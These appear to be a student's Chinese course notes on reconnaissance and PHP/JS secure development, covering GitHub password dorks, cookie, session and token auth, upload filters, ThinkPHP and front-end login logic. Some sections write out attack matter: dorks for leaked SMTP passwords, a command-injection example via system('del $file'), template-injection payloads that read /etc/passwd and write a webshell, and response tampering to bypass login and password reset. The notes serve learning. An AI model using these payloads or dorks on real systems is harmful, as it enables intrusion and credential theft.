https://github.com/hanc00l/nemo_go/blob/main/docs/docker.md
下载release的nemo_linux_amd64.tar后执行:
mkdir nemo;tar xvf nemo_linux_amd64.tar -C nemo;cd nemo
docker-compose up -d
3、使用:见直播操作
Bug:网络空间(配置后要重启)4、
https://github.com/hanc00l/nemo_go/issues/72

自动化-网络空间-AsamF

集成工具,解决导出问题

自动化-企查信息-ENScan

也是解决导出问题

ARL灯塔

挺多教程的,其实我在最开始搞的时候因为docker问题出错搞到一半就没有搞了结果访问Nemo的时候打错端口误打误撞进去了,端口5003

启动和关闭:

docker-compose up -d
docker-compose down

默认账号和密码:admin:arlpass

测试一个小迪的网站试试

image-20250731174021756

好了

image-20250731174219253

image-20250731174238881

image-20250731174314533

再去补天找一个试试

Nemo Go

github下载

两条命令解决

mkdir nemo;tar xvf nemo_linux_amd64.tar -C nemo;cd nemo
docker-compose up -d

启动和关闭:

docker-compose up -d
docker-compose down

访问(端口我这里自己改了

https://ip:5050

image-20250731170819282

默认的账号密码就是nemo:nemo

image-20250731170913149

在配置woker里面可以设置token

image-20250731171130734

F8x

地址:ffffffff0x/f8x: 红/蓝队环境自动化部署工具 | Red/Blue team environment automation deployment tool

运行:

bash f8x -h

一键化部署,想搭建什么就搭建什么

安装在/pentest目录下面


第21天:信息打点-公众号服务&Github监控&供应链&网盘泄漏&证书图标邮箱资产

#微信公众号-获取&三方服务 
1、获取微信公众号途径
https://weixin.sogou.com/ 
2、微信公众号有无第三方服务 

#Github监控-开发&配置&源码 
    目标中开发人员或者托管公司上传的项目存在源码泄漏或配置信息(密码密匙等),人员数据库等敏感信息,找到多个脆弱点。
1、人员&域名&邮箱等筛选 
eg:xxx.cn password in:file 
https://gitee.com/ 
https://github.com/ 
https://www.huzhan.com/ 
GITHUB资源搜索: 
in:name test               #仓库标题搜索含有关键字  
in:descripton test         #仓库描述搜索含有关键字  
in:readme test             #Readme文件搜素含有关键字  
stars:>3000 test           #stars数量大于3000的搜索关键字  
stars:1000..3000 test      #stars数量大于1000小于3000的搜索关键字 
forks:>1000 test           #forks数量大于1000的搜索关键字  
forks:1000..3000 test      #forks数量大于1000小于3000的搜索关键字 
size:>=5000 test           #指定仓库大于5000k(5M)的搜索关键字 
pushed:>2019-02-12 test    #发布时间大于2019-02-12的搜索关键字 
created:>2019-02-12 test   #创建时间大于2019-02-12的搜索关键字 
user:test                  #用户名搜素  
license:apache-2.0 test    #明确仓库的 LICENSE 搜索关键字 
language:java test         #在java语言的代码中搜索关键字  
user:test in:name test     #组合搜索,用户名test的标题含有test的 
关键字配合谷歌搜索:
site:Github.com smtp    
site:Github.com smtp @qq.com    
site:Github.com smtp @126.com    
site:Github.com smtp @163.com    
site:Github.com smtp @sina.com.cn  
site:Github.com smtp password  
site:Github.com String password smtp 

2、语法固定长期后续监控新泄露 
-基于关键字监控 
-基于项目规则监控
https://github.com/madneal/gshark
https://github.com/NHPT/FireEyeGoldCrystal
https://github.com/Explorer1092/Github-Monitor

#网盘资源搜索-全局文件机密
主要就是查看网盘中是否存有目标的敏感文件
如:企业招标,人员信息,业务产品,应用源码等

#敏感目录文件-目录扫描&爬虫
-后续会详细讲到各类工具项目

#网络空间进阶-证书&图标&邮箱
-证书资产
fofa quake hunter
-ICO资产
fofa quake hunter
-邮箱资产
https://hunter.io/

#微信公众号-获取&三方服务

查企业看知识产权

image-20250804120643787

搜狗搜

https://weixin.sogou.com/

这个看小迪是可以搜公众号的不知道我现在为啥只能搜文章了,但是可以看一下文章的发布者,可能是对应公众号发布的

#Github监控-开发&配置&源码

1、人员&域名&邮箱等筛选

域名搜索,后面加上password等关键词,可能会有一些账号密码或者代码的泄露

image-20250805103232705

2、语法固定长期后续监控新泄露

https://github.com/Explorer1092/Github-Monitor

image-20250805110603503

hutb.edu.cn password in:file

in:file是指在文件中出现关键字

免杀
CVE-2024

https://github.com/NHPT/FireEyeGoldCrystal

https://github.com/madneal/gshark

#网盘资源搜索-全局文件机密

用作尝试,实战中用的不多

模拟器里面的app搜索

image-20250807093729533

混合盘搜索

image-20250805114700025

很难得到什么有用的,精确匹配又基本搜不到东西

#网络空间进阶-证书&图标&邮箱

-证书资产

连接安全->证书

image-20250805152027720

image-20250805152040002

image-20250805152056735

语法:

cert="hutb.edu.cn"

image-20250805152252403

image-20250805152338998

ICO资产

到源码下载对应图标,一般就是icon文件

image-20250805153151247

image-20250805153223674

image-20250805153245962

image-20250805153257574

image-20250805153349137

image-20250805153415668

邮箱资产

https://hunter.io/

image-20250805154454200


# 安全开发总思维导图

image-20250807092929727

第22天:安全开发-PHP应用&留言板功能&超全局变量&数据库操作&第三方插件引用

#章节点 
PHP:(逻辑越权安全代码) 
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等 技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除; 
技术:JS&CSS 混用,Cookie,Session 操作,MVC 架构,ThinkPHP 引用等。 
1、PHP 留言板前后端功能实现 
2、数据库创建&架构&增删改查 
3、内置超全局变量&HTML&JS 混编 
4、第三方应用插件&传参&对象调用 


#开发环境: 
DW + PHPStorm + PhpStudy + Navicat Premium 
DW : HTML&JS&CSS开发 
PHPStorm : 专业PHP开发IDE 
PhpStudy :Apache MYSQL环境 
Navicat Premium: 全能数据库管理工具 

#数据导入-mysql架构&库表列 
1、数据库名,数据库表名,数据库列名 
2、数据库数据,格式类型,长度,键等 

#数据库操作-mysqli函数&增删改查 
PHP函数:连接,选择,执行,结果,关闭等 
参考:https://www.runoob.com/php/php-ref-mysqli.html 
常用: 
mysqli_connect() 打开一个到MySQL的新的连接。 
mysqli_select_db() 更改连接的默认数据库。 
mysqli_query() 执行某个针对数据库的查询。 
mysqli_fetch_row() 从结果集中取得一行,并作为枚举数组返回。 
mysqli_close() 关闭先前打开的数据库连接。 
MYSQL增删改查: 
查:select * from 表名 where 列名='条件'; 
增:insert into 表名(`列名1`, `列名2`) value('列1值1', '列2值2'); 
删:delete from 表名 where 列名 = '条件'; 
改:update 表名 set 列名 = 数据 where 列名 = '条件'; 

#数据接收输出-html混编&超全局变量 
1、html混编:使HTML(JS)在PHP语言中运行 
<?php 
echo '<script>alert('x');</script>' 
?> 
2、超全局变量: 
参考: 
https://www.w3school.com.cn/php/php_superglobals.asp 
https://www.php.net/manual/zh/language.variables.superglobals.php 
$GLOBALS:这种全局变量用于在 PHP 脚本中的任意位置访问全局变量 
$_SERVER:这种超全局变量保存关于报头、路径和脚本位置的信息。 
$_REQUEST:$_REQUEST 用于收集 HTML 表单提交的数据。 
$_POST:广泛用于收集提交method="post" 的HTML表单后的表单数据。 
$_GET:收集URL中的发送的数据。也可用于收集提交HTML表单数据(method="get")
$_FILES:文件上传且处理包含通过HTTP POST方法上传给当前脚本的文件内容
$_ENV:是一个包含服务器端环境变量的数组。
$_COOKIE:是一个关联数组,包含通过cookie传递给当前脚本的内容。
$_SESSION:是一个关联数组,包含当前脚本中的所有session内容。

#数据导入-mysql架构&库表列

开启phpstudy

image-20250807095247575

打开navicat

新建数据库

image-20250807095651568

image-20250807095739994

image-20250807095849282

image-20250807095919399

image-20250808103426268

有数据库名,数据库表名,数据库列名

数据库数据,格式类型,长度,键等

phpstorm或者DW代码编写

phpstorm

新建php文件

image-20250807154909320

点击这个在右侧可以看到实时效果

image-20250807154953386

php小白,跟着一步步写的

先把用户名、内容和提交按钮写出来

image-20250808105525214

我们去预览界面查看一下

image-20250808105552217

接收内容

image-20250808105651132

预览

image-20250808105713099

数据库通讯

image-20250808110319105

连上了,然后再是执行sql语句将数据插入到数据库的表当中去

sql插入

image-20250808112256916

提交之后查看表

image-20250808112212676

可以,为了防止空数据的提交再加一个if条件检查是否是空数据

image-20250808112529411

输出提交信息,弹窗

image-20250808112852545

image-20250808112836842

显示留言数据

image-20250808114709641

输入显示:

image-20250808114647376

表数据:

image-20250808114726734

这个输出不是很好看,加上换行

image-20250808115149049

image-20250808115141586

后台管理

创建新目录admin,admin下面创建gbook_admin.php用来专门管理留言文件,但是每一个文件都需要数据库的连接话会很麻烦,所以我们定义一个全局配置文件config.php,写入数据库连接的那一部分

config

image-20250808115528180

这样的话在其他的文件中如果需要这一部分的就直接inclde就ok

include

image-20250808115654368

image-20250808115809627

admin下面的gbook:

image-20250808115855121

查询并且删除数据

image-20250808121632880

为了方便可以把这些功能写成函数

函数

image-20250808152257240

image-20250808152304136

提交

image-20250808152311568

image-20250808152326457

image-20250808152335447

如此一来我们就可以将专门显示内容的gbook_admin.php调用函数了

调用函数

image-20250808153054566

这里的删除键除了点问题,我去问了一下AI修正了

display函数

image-20250808154211539

gbook_admin.php:

image-20250808154224229

image-20250808154836233

ueditor

一个插件,可以让页面输入上传图片,新建目录之后直接把文件夹拖进去

然后发现一直报错,索性直接复制去对应目录下面了

image-20250808155800706

在gbook文件最前面先快捷键<!加tab搞个框架

image-20250808155946476

引入ueditor的文件

image-20250808165949147

我们改一下内容,让它可以输入图片

image-20250808160908184

这里直接用浏览器打开还是显示不完全,我们去小皮新建一个网站,目录指向demo01

image-20250808161137342

image-20250808161220090

学到了一点phpstrom的快捷键

ctrl+alt+i	一键格式化
<!+tab	一键框架

第23天:安全开发-PHP应用&后台模块&Session&Cookie&Token&身份验证&唯一性

#章节点 
PHP:(逻辑越权安全代码) 
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等 技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除; 
技术:JS&CSS 混用,Cookie,Session 操作,MVC 架构,ThinkPHP 引用等。 


1、PHP 后台身份验证模块实现 
2、Cookie&Session 技术&差异 
3、Token 数据包唯一性应用场景 
项目 1:用 cookie 做后台身份验证 
项目 2:用 session 做后台身份验证 
项目 3:用 token 做用户登录判断 


#身份验证-Cookie使用 
生成cookie的原理图过程:见图 
1、客户端向服务器发送HTTP请求。
2、服务器检查请求头中是否包含cookie信息。
3、如果请求头中包含cookie信息,则服务器使用该cookie来识别客户端,否则服务器将生成一个新的cookie。
4、服务器在响应头中设置cookie信息并将其发送回客户端。
5、客户端接收响应并将cookie保存在本地。
6、当客户端发送下一次HTTP请求时,它会将cookie信息附加到请求头中。
7、服务器收到请求并检查cookie的有效性。
8、如果cookie有效,则服务器响应请求。否则,服务器可能会要求客户端重新登录。

setcookie(): 设置一个cookie并发送到客户端浏览器。
unset(): 用于删除指定的cookie。

#身份验证-Session使用 
1、客户端向服务器发送HTTP请求。
2、服务器为客户端生成一个唯一的session ID,并将其存储在服务器端的存储器中(如文件、数据库等)。
3、服务器将生成的session ID作为一个cookie发送给客户端。
4、客户端将session ID保存为一个cookie,通常是在本地浏览器中存储。
5、当客户端在发送下一次HTTP请求时,它会将该cookie信息附加到请求头中,以便服务器可以通过该session ID来识别客户端。
6、服务器使用session ID来检索存储在服务器端存储器中的与该客户端相关的session数据,从而在客户端和服务器之间共享数据。

session_start(): 启动会话,用于开始或恢复一个已经存在的会话。
$_SESSION: 用于存储和访问当前会话中的所有变量。
session_destroy(): 销毁当前会话中的所有数据。
session_unset(): 释放当前会话中的所有变量。
Session存储路径:PHP.INI中session.save_path设置路径 

#唯一性判断-Token使用 
1、生成Token并将其存储在Session 
2、生成Token并将其绑定在Cookie触发 
3、尝试登录表单中带入Token验证逻辑 
4、思考Token安全特性 

#具体安全知识点:
-Cookie和Session都是用来在web应用程序中跟踪用户状态的机制
1、存储位置不同:
Cookie是存储在客户端(浏览器)上的,而Session是存储在服务器端的。
2、安全性不同:
Cookie存储在客户端上,可能会被黑客利用窃取信息,而session存储在服务器上,更加安全。
3、存储容量不同:
Cookie的存储容量有限,一般为4KB,而session的存储容量理论上没有限制,取决于服务器的硬件和配置。
4、生命周期不同:
Cookie可以设置过期时间,即便关闭浏览器或者重新打开电脑,Cookie仍然存在,直到过期或者被删除。而session一般默认在浏览器关闭后就会过期。
5、访问方式不同:
Cookie可以通过JavaScript访问,而Session只能在服务器端进行访问。
6、使用场景不同:
Cookie一般用于存储小型的数据,如用户的用户名和密码等信息。而session一般用于
总之,Cookie和session都有各自的优缺点,选择使用哪一种方式,取决于具体的应用场景和需求。一般来说,如果需要存储敏感信息或者数据较大,建议使用Session;如果只需要存储少量的数据,并且需要在客户端进行访问,可以选择使用Cookie。


1、PHP后台身份验证模块实现
2、Cookie&Session技术&差异
3、Token数据包唯一性应用场景项目
1:用cookie做后台身份验证项目
2:用session做后台身份验证项目
3:用token做用户登录判断

#身份验证-Cookie使用

三个文件,分别是登陆文件、登陆成功后的首页、登出文件

image-20250809132524530

ai写一个前端界面

image-20250809132452580

php逻辑

image-20250810120119167

image-20250810115926808

添加登陆成功的跳转和失败的弹窗,成功了没有弹窗所以注释掉了

因为登陆成功的页面现在是可以直接访问的,所以需要加上验证,admin_c设置cookie

image-20250810143417935

index_c进行判断

image-20250810191511147

logout文件

image-20250810191522832

我们先看admin_c的cookie,没登陆之前的

image-20250810191703359

是没有账号密码的,现在直接打开index_c是打不开的

image-20250810191907282

登陆完之后再来看admin_c会发现cookie显示了账号密码

image-20250810192112323

并且直接访问index_c也可以直接访问了

image-20250810192332378

点退出登录就回到登陆界面了

当我们有cookie时,可以自己添加,正确之后就可以直接访问index_c文件

image-20250810192846887

image-20250810192911392

#身份验证-Session使用

index_s.php、admin_s.php、logout_s.php

admin_s的表单部分和连接数据库、接受输入是一样的,开始在查询到数据库有对应的账号密码后设置session

image-20250810194524760

查看Session存储路径:PHP.INI中session.save_path设置路径

image-20250810194734540

image-20250810194825838

我们去尝试登陆一下,在对应的目录下面生成了文件

image-20250810195032164

出了一点问题,生成的文件没有内容,后续修改直接连文件都不生成了

原来是浏览器出了问题,登陆之后会产生文件:

image-20250810220322646

image-20250810220411978

f12查看

image-20250810220352765

session和文件名一样的

index_s文件判断:

image-20250810220054780

登录成功后可以看到session

image-20250810220116520

这个和cookie类似,知道文件名之后在浏览器添加也可以直接访问index_s,但是当浏览器关闭之后session就会失效

登出文件:

image-20250810220930572

登出之后session文件也会消失

#唯一性判断-Token使用

一个数据包带一个token

token文件:

image-20250812165938630

image-20250812165947548

token_check文件:

image-20250812170031485

image-20250812170145268

当我们尝试爆破账号密码时会发现即使你字典里面有正确的账号密码也会显示失败

image-20250812171056331

image-20250812171124589


第24天:安全开发-PHP应用&文件管理模块&显示上传&黑白名单类型过滤&访问控制

1、PHP 文件管理-显示&上传功能实现 
2、文件上传-$_FILES&过滤机制实现 
3、文件显示-目录遍历&过滤机制实现 

#章节点 
PHP:(逻辑越权安全代码) 
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等 技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除; 
技术:JS&CSS 混用,Cookie,Session 操作,MVC 架构,ThinkPHP 引用等。 


#文件管理模块-上传-过滤机制 
1、无过滤机制 
2、黑名单过滤机制 
3、白名单过滤机制 
4、文件类型过滤机制 

$_FILES:PHP中一个预定义的超全局变量,用于在上传文件时从客户端接收文件,将其保存到服务器上。它是一个包含上传文件信息的数组,包括文件名、类型、大小、时文件名等信息。
$_FILES["表单值"]["name"] 获取上传文件原始名称 
$_FILES["表单值"]["type"] 获取上传文件MIME类型 
$_FILES["表单值"]["size"] 获取上传文件字节单位大小 
$_FILES["表单值"]["tmp_name"] 获取上传的临时副本文件名 
$_FILES["表单值"]["error"] 获取上传时发生的错误代码 
move_uploaded_file() 将上传的文件移动到指定位置的函数 

#文件管理模块-显示-过滤机制 
功能:显示 上传 下载 删除 编辑 包含等 
1.打开目录读取文件列表 
2.递归循环读取文件列表 
3.判断是文件还是文件夹 
4.PHP.INI目录访问控制 

is_dir() 函数用于检查指定的路径是否是一个目录 
opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录 
readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录 
open_basedir:PHP.INI中的设置用来控制脚本程序访问目录 

#文件管理模块-上传-过滤机制

upload.html:

image-20250813170906867

upload.php获取文件属性

image-20250813170854530

image-20250813170842602

可以正常显示

设置黑名单

image-20250813223821023

白名单:

image-20250813224441097

MIME文件类型过滤

image-20250813225208227

查看目录

image-20250813232751393

image-20250813232759510

目录查看权限,任意文件目录

image-20250813233130283

php配置文件中open_base去掉注释(不知道为啥我这个没成功

image-20250813233819646

或者在函数里面过滤当访问有./就过滤掉

设置文件夹权限


第25天:安全开发-PHP应用&文件管理&包含&写入&删除&下载&上传&遍历&安全

1、PHP 文件管理-下载&删除功能实现 
2、PHP 文件管理-编辑&包含功能实现 

#章节点 
PHP:(逻辑越权安全代码) 
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等 技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除; 
技术:JS&CSS 混用,Cookie,Session 操作,MVC 架构,ThinkPHP 引用等。 

#PHP 文件操作安全 
-文件包含,文件上传,文件下载,文件删除,文件写入,文件遍历 
 
#文件包含: 
include() 在错误发生后脚本继续执行 
require() 在错误发生后脚本停止执行 
include_once() 如果已经包含,则不再执行 
require_once() 如果已经包含,则不再执行 
 
#文件上传: 
1、无过滤机制 
2、黑名单过滤机制 
3、白名单过滤机制 
4、文件类型过滤机制 
 
架构: 
1、上传至服务器本身的存储磁盘(源码在一起) 
2、云产品 OSS 存储对象去存储文件(泄漏安全) 
3、把文件上传到其他域名,如:www.xiaodi8.com->upload.xiaodi8.com 
 
$_FILES:PHP 中一个预定义的超全局变量,用于在上传文件时从客户端接收文件,并将其保存到服务器上。它是一个包含上传文件信息的数组,包括文件名、类型、大小、临时文件名等信息。 
$_FILES["表单值"]["name"] 获取上传文件原始名称 
$_FILES["表单值"]["type"] 获取上传文件 MIME 类型 
$_FILES["表单值"]["size"] 获取上传文件字节单位大小 
$_FILES["表单值"]["tmp_name"] 获取上传的临时副本文件名 
$_FILES["表单值"]["error"] 获取上传时发生的错误代码 
move_uploaded_file() 将上传的文件移动到指定位置的函数 
 
#文件显示: 
1.打开目录读取文件列表 
2.递归循环读取文件列表 
3.判断是文件还是文件夹 
4.PHP.INI 目录访问控制 
is_dir() 函数用于检查指定的路径是否是一个目录 
opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录 
readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录  

OSS

阿里云开通oss,创建bucket

image-20250814165138503

image-20250814165323266

url

image-20250814165709918

image-20250814165723486

搜对象存储OSS进来

image-20250814170637012

前端泄露了accesskey和id,获取到之后可以直接通过oss浏览器进行连接然后获取上传的文件

image-20250814205723116

image-20250814205925016

文件包含

html是界面,其中文件上传的操作是交给upload.php来完成的,当直接访问upload.php是不会有文件上传框的

image-20250814174451695

当php文件包含了html文件之后再去访问php文件就会显示html的内容,也就是上传文件的框

image-20250814174551342

image-20250814174558676

或者是传参

image-20250814174640442

image-20250814174712302

image-20250814174724328

当然直接访问test只是一个这种代码,但如果用这种函数来就会泄露信息或者是木马地址了

文件管理器

这个的php逻辑上节课已经讲过了,这里感觉就是多加了一点显示的东西和美化

删除部分可能潜在的漏洞

在代码中,windows可以用del命令删除文件,当代码中是用

system("del $file");

时,会有命令执行漏洞,也就是之前学过的,两个命令可以同时进行

image-20250814202043272

当代码用的是这种来删除文件,我们可以复制删除文件的url

image-20250814202239615

image-20250814202140927

我们尝试在url后面加上ping命令,为了看到回显我们使用DNSLog

image-20250814202439735

image-20250814202504020

有了

这个可以用检测是不是目录来过滤,如果不是完整路径的话就不执行


第26天:安全开发-PHP应用&模版引用&Smarty渲染&MVC模型&数据联动&RCE安全

1、PHP 新闻显示-数据库操作读取显示 
2、PHP 模版引用-自写模版&Smarty 渲染 
3、PHP 模版安全-RCE 代码执行&三方漏洞


#新闻列表 
1、数据库创建新闻存储 
2、代码连接数据库读取 
3、页面进行自定义显示 
 
#自写模版引用 
1、页面显示样式编排 
2、显示数据插入页面 
3、引用模版调用触发 
 
#Smarty 模版引用 
下载:https://github.com/smarty-php/smarty/releases 
使用: 
1、创建一个文件夹,命名为 smarty-demo。 
2、下载 Smarty 对应版本并解压缩到该文件夹中。 
3、创建一个 PHP 文件,命名为 index.php,并在文件中添加以下代码: 
<?php
// 引入 Smarty 类文件(Smarty 5.x 方式)
require('../smarty-demo/libs/Smarty.class.php');

// 创建 Smarty 实例(注意命名空间)
$smarty = new Smarty\Smarty();

// 设置 Smarty 相关属性
$smarty->setTemplateDir('../smarty-demo/templates/');
$smarty->setCompileDir('../smarty-demo/templates_c/');
$smarty->setCacheDir('../smarty-demo/cache/');
$smarty->setConfigDir('../smarty-demo/configs/');

// 赋值变量到模板中
$smarty->assign('title', '欢迎使用 Smarty');

// 显示模板
$smarty->display('index.tpl');
4、创建一个名为 index.tpl 的模板文件,并将以下代码复制到上述点定义文件夹中 <!DOCTYPE html> 
<html>
<head>
    <title>{$title}</title>
</head>
<body>
<h1>{$title}</h1>
<p>这是一个使用 Smarty 的例子。</p>
</body>
</html>

新闻列表

新建数据库

image-20250815103016189

添加内容

image-20250815104325339

new.php

image-20250815104740877

image-20250815104854110

url是这个和id=1是一样的

image-20250815104933445

image-20250815104945363

页面名称设置,新建html文件,Title加上花括号

image-20250815105426454

new.php

image-20250815110227057

image-20250815110204180

这样在html中修改title的值就可以显示其值了

当html是模板然后php直接调用html的话可能会产生命令执行,我们把数据库里面写上phpinfo

image-20250815143252559

模板需要被调用运行,当模板中被插入命令之后打开php就会被执行,再打开php文件:

image-20250815205525052

或者是在html里面写上phpinfo,直接打开html是不会执行的,但是打开php文件就会执行

image-20250815205637831

这样就可以执行很多php命令,比如:

<?php phpinfo(); ?>  // 显示PHP配置信息
<?php system('uname -a'); ?>  // 显示系统信息
<?php echo `whoami`; ?>  // 显示当前用户
<?php print_r($_SERVER); ?>  // 显示服务器变量
<?php system('ls -la /'); ?>  // 列出根目录
<?php echo file_get_contents('/etc/passwd'); ?>  // 读取系统文件
<?php file_put_contents('shell.php', '<?php system($_GET["cmd"]); ?>'); ?> // 写入webshell

等等

Smarty渲染

一个使用PHP写出来的模板引擎,按教程创建index.php和index.tpl

image-20250815225927737

尝试在tpl文件里面写入phpinfo发现没有执行,没有直接的RCE漏洞

但是也不一定完全安全

image-20250815230543819

PHP的模板注入(Smarty模板)_smarty模板注入-CSDN博客

也就是说代码审计的时候,需要注意插件、模板、组件什么的都需要审计(ueditor、smarty、shiro、fastjson等等)


第27天:安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞

1、TP 框架-开发-路由访问&数据库&文件上传&MVC 模型 
2、TP 框架-安全-不合规写法&内置过滤绕过&版本安全漏洞 
 
#章节点 
PHP:(逻辑越权安全代码) 
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等 技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除; 
技术:JS&CSS 混用,Cookie,Session 操作,MVC 架构,ThinkPHP 引用等。

#TP 框架-开发-配置架构&路由&MVC 模型 
参考:https://www.kancloud.cn/manual/thinkphp5_1 1、配置架构-导入使用 
2、路由访问-URL 访问 
3、数据库操作-应用对象 
4、文件上传操作-应用对象 
5、前端页面渲染-MVC 模型 
 
#TP 框架-安全-不安全写法&版本过滤绕过 
1、内置代码写法 
例子:不合规的代码写法-TP5-自写 
2、框架版本安全 
例子 1:写法内置安全绕过-TP5-SQL 注入 
例子 2:内置版本安全漏洞-TP5-代码执行 

thinkphp

安装thinkPHP 8.0.4 安装-CSDN博客

入口文件,public/index.php,一路找

image-20250817175559791

image-20250817175351636

这里是php8的版本了,和小迪的不一样,小迪指向application然后里面有index.php文件,这个指向的文件目录下面没有index.php,是在

image-20250817180138478

这里,返回的是index(),return就是显示的界面,可以尝试修改一下

image-20250817215448075

image-20250817215452834

官方文档:序言 - ThinkPHP官方手册

路由访问-URL 访问

路径地址:

http://serverName/index.php?s=/控制器/操作/[参数名/参数值...]

控制器:index,ThinkPHP 会默认调用 Index 控制器的 index 方法

操作就是方法名:index()

image-20250817215812657

如果要出发这个index.php文件url应该就是

http://thinphp:3425/index.php?s=/index/index

image-20250817220243024

image-20250817220706769

image-20250817220716808

以前学的接收是:

image-20250817221016206

访问

http://thinphp:3425/index.php?x=1&s=/index/xiaodi

image-20250817221148162

官方的请求

image-20250817221531089

image-20250817221618582

return $this->request->param('name');

获取 HTTP 请求参数,param('name') 表示 获取名为 name 的请求参数

image-20250817221944751

image-20250817222016827

http://thinphp:3425/index.php?s=/index/xiaodi/name/33550336

image-20250817222042718

这种也可以

自己可以测试感受一下,新建一个test目录,下面是controller目录,里面是test.php

image-20250817223509743

http://thinphp:3425/index.php?s=/test/xiaodi/name/33550336

这里出了问题访问不了,后续排查

这种就是和传统的一个一个目录下面找index.php文件访问不一样,这个不能一级一级去找然后访问,需要根据他的路由关系去访问

一般thinkphp的核心文件就是controller目录找index文件,核心的代码文件就在控制器controller里面

数据库操作-应用对象

image-20250817224511662

修改添加一下

image-20250817224618865

image-20250817230334318

image-20250817230340719

添加一个请求参数

image-20250817231006429

这里如果是原生态的开发的话在url里面是会有sql注入的,这里尝试

image-20250817231129875

image-20250817231203106

image-20250817231218675

后续不管什么条件都不会报错显示,也就是使用了tp框架会受到框架内置过滤保护的

文件上传操作-应用对象

public目录新建一个upload.html文件

image-20250818093618158

配置上传的文件

image-20250818094653938

upload.html

image-20250818094948892

index.php

image-20250818094958899

image-20250818095005838

image-20250818095016468

默认存储目录

image-20250818095428601

有验证的:

image-20250818095600961

前端页面渲染-MVC 模型

image-20250818100121790

image-20250818100219510

image-20250818100351096

版本漏洞

ThinkPHP8反序列化漏洞复现 - /1dreamGN/Blog


第28天:安全开发-JS应用&原生开发&JQuery库&Ajax技术&前端后端&安全验证处理

1、JS 应用-原生态开发&第三库开发 
2、JS 功能-文件上传&登录验证&商品购买 

功能:登录验证,文件操作,商品购买,数据库操作,云应用接入,框架开发等 
技术:原生开发,DOM 树,常见库使用(JQuery),框架开发(Vue,Nodejs)等 
#参考 
1、原生 JS 教程 
https://www.w3school.com.cn/js/index.asp 
2、jQuery 库教程 
https://www.w3school.com.cn/jquery/index.asp  
#JS 原生开发-文件上传-变量&对象&函数&事件 
1、布置前端页面 
2、JS 获取提交数据 
3、JS 对上传格式判断 
4、后端对上传数据处理 
前端 JS 进行后缀过滤,后端 PHP 进行上传处理 
架构:html js php - upload.php 
安全问题: 
1、过滤代码能看到分析绕过 
2、禁用 JS 或删除过滤代码绕过 
 
#JS 导入库开发-登录验证-JQuery 库&Ajax 技术 
0、布置前端页面 
1、获取登录事件 
2、配置 Ajax 请求 
3、后端代码验证 
4、成功回调判断 
后端 PHP 进行帐号判断,前端 JS 进行登录处理 
架构:html js login.html - logincheck.php 
 
#JS 导入库开发-逻辑购买-JQuery 库&Ajax 技术 
1、布置前端页面 
2、获取登录事件 
3、配置 Ajax 请求 
4、后端代码验证 
5、成功回调判断 
架构:html js shop.html - shopcheck.php 
 
#实例测试-某违规 APP-密码找回&JS 验证逻辑安全 
功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等技术:原生开发,DOM,常见库使用,框架开发(Vue,Nodes),打包器(Webpack)等安全:原生开发安全,NodeJs安全,Vue安全,打包器webpack安全,三方库安全问题等

JS 原生开发-文件上传-变量&对象&函数&事件

布置前端页面

image-20250818180306567

JS 获取提交数据

image-20250818215142238

文件保存用php

image-20250818220402604

之前用php写的文件上传在前端是看不到代码的

image-20250818220504814

js写的可以看到js文件的代码

image-20250818220547545

可以保存源代码(ctrl+u)

image-20250818220921342

另存为up.html文件,找到关键的onchange

image-20250818221007953

删除,再把跳转页面的upload换一下

image-20250818221524084

image-20250818223020211

我们浏览器打开html文件上传文件就可以上传到JS目录里面upload文件夹里面了,并且不限文件格式因为我们删除了CheckFileExt

JS 导入库开发-登录验证-JQuery 库&Ajax 技术

login.html:

image-20250818223658483

这里把action跳转到php文件的表单注释了,用JS来登录

需要用到JQuery库

image-20250818224010412

下载复制到JS目录,引用并创建事件函数

image-20250818224840097

官方文档看操作函数

image-20250818224812547

image-20250818225111879

url 必需。规定把请求发送到哪个 URL。
data 可选。映射或字符串值。规定连同请求发送到服务器的数据。
success(data, textStatus, jqXHR) 可选。请求成功时执行的回调函数。
dataType 可选。规定预期的服务器响应的数据类型。默认执行智能判断(xml、json、script 或 html)。

data这里小迪讲的是获取的是class值,后面看弹幕建议使用唯一标识id来

image-20250818231032367

success部分:

image-20250818231348412

longincheck.php部分:

image-20250818231357311

尝试登录查看console

image-20250818231847891

把这个infoCode写在js文件是不安全的,因为js逻辑可以在前端被看到,被知道当infoCode等于1的时候就跳转到后台,那么就可以通过抓包修改就能进入后台

image-20250818232907460

抓包

image-20250818232604866

发送到intercept,查看返回包

返回包显示了infoCode

image-20250818232741787

把infoCode改成1之后再发出去

image-20250818232814142

image-20250818232827771

进入后台了

想要安全就不能把location.href='index.php';写在js,而是写在php

image-20250818233110407

再抓一次包试试会发现虽然提示登陆成功了但是并不会跳转到后台

JS 导入库开发-逻辑购买-JQuery 库&Ajax 技术

前端页面根据上一个登录的稍加修改:

image-20250819111213626

shop.php也是:

image-20250819111011293

后续的抓包修改就和上面的那个一样了

后面小迪还演示了一个忘记密码的验证,就是先输入正确手机号、验证码之后拿到返回包的内容,下次就随便输入验证码之后也是抓包拿到返回包,把返回包的内容改成之前正确的返回包之后发送就会发现也进入了重置密码的界面


第29天:安全开发-JS应用&DOM树&加密编码库&断点调试&逆向分析&元素属性操作

1、JS 技术-DOM 树操作及安全隐患 
2、JS 技术-加密编码及数据安全调试 
#JS 原生开发-DOM 树-用户交互 
DOM:文档操作对象 
浏览器提供的一套专门用来操作网页代码内容的功能,实现自主或用户交互动作反馈  
安全问题:本身的前端代码通过 DOM 技术实现代码的更新修改,但是更新修改如果修改的数据可以由用户来指定,就会造成 DOM-XSS 攻击! 
